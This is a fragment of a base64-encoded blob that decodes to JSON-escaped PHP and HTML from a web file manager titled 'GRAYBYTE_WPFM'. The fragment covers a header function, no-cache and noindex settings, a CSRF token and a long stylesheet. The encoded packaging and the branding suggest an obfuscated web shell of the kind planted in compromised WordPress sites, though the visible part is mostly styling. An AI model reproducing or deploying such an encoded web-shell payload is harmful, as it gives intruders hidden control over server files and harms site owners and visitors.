gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2